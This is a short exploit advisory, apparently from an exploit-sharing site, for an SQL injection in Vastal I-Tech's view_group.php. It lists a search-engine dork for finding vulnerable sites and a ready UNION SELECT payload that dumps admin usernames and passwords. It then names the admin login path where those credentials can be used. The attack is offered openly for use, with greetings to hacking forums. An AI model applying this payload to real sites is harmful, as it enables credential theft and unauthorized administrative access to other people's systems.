Vastal I-Tech – SQL Injection
####################################################### # IN THE NAME OF GOD # # Vastal I-Tech SQL Injection Vulnerability # # Author : HELLBOY # # Tested on Lunix # # CVE : N/A # # Email : A68.HELLBOY@GMAIL.COM # # Dork : inurl:"view_group.php?group_id=" ######################################################## # Exploit : # http://[site]/view_group.php?group_id={SQLI} # # EXAM: -1+union+select+group_concat(admin_user,0x3a,admin_password)+from+admin_users-- # # Admin login : # http://www.[sitename].com/admin/ ######################################################### # Greetz : # All members of the Forum WwW.ASHIYANE.ORG & WwW.pars-p30.iR # ######################################################### |